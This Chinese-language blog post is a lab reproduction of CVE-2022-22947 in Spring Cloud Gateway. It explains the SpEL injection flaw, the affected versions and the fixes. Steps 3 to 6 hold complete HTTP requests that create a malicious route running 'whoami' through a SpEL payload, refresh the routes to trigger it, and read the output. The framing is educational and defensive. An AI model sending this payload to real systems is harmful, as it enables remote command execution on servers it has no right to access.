CVE-2022-22947 Spring Cloud Gateway 遠端程式碼執行漏洞復現
阿新 • • 發佈:2022-05-08
一、漏洞概述
2022年3月1日,VMware官方釋出漏洞報告,在使用Spring Colud Gateway的應用程式開啟、暴露Gateway Actuator端點時,會容易造成程式碼注入攻擊,攻擊者可以製造惡意請求,在遠端主機進行任意遠端執行。 二、影響版本 Spring Cloud Gateway 3.1.x < 3.1.1Spring Cloud Gateway 3.0.x < 3.0.7
舊的、不受支援的版本也會受到影響
三、漏洞原理
大白話就是說:因為ShortcutConfigurable.java中的getValue方法可以被ConfigurationService.java包中ConfigurableBuilder的normalizeProperties函式的this.properties引數控制修改,攻擊者通過新增帶有filter的惡意路由,當重新載入路由時,會觸發對引數的歸一化邏輯,從而導致filter引數value中的SPEL表示式被解析。
大佬文章連結:https://blog.csdn.net/include_voidmain/article/details/123819107
四、漏洞復現環境
Kali Linux + Vulfocus
滲透機:Kali Linux
靶機:Vulfocus
五、實驗步驟
1.開啟vulfoucs並獲取實驗映象
2.訪問網頁並抓包
3.構造併發送惡意的路由請求
POST /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.117.131:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/json Content-Length: 329 { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}" } }], "uri": "http://example.com" }
-
id
欄位指定新路由的名稱,必須全域性唯一;
filters
- 欄位給這條路由指定若干個過濾器。過濾器用於對請求和響應進行修改;
-
name
欄位指定要新增的過濾器,這裡添加了一個AddResponseHeader
過濾器,用於 gateway 給客戶端返回響應之前新增一個響應頭; -
args.name
欄位指定要新增的響應頭; -
args.value
欄位指定響應頭的值。這裡的值是要執行的 SPEL 表示式,用於執行whoami
命令。注意需要將命令輸出結尾的換行符去掉,否則過濾器執行時會丟擲異常說「響應頭的值不能以 \r 或 \n 結尾」; -
uri
欄位指定將客戶端請求轉發到http://example.com。
4.應用之前的路由傳送此資料包,此資料包可觸發表示式
POST /actuator/gateway/refresh HTTP/1.1 Host: 192.168.117.131:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
5.傳送此資料包,檢視命令回顯,可以看到之前新增的路由
GET /actuator/gateway/routes/hacktest HTTP/1.1 Host: 192.168.117.131:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
6.訪問actuator API介面
GET /actuator HTTP/1.1 Host: 192.168.117.131:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 0
7.訪問env介面並獲取flag
8.完結撒花
六、修復方式
1)3.1.x使用者應升級到3.1.1+;
2)3.0.x使用者應升級到3.0.7+;
3)如果不需要Actuator功能,可以通過management.endpoint.gateway.enable:false配置將其禁用。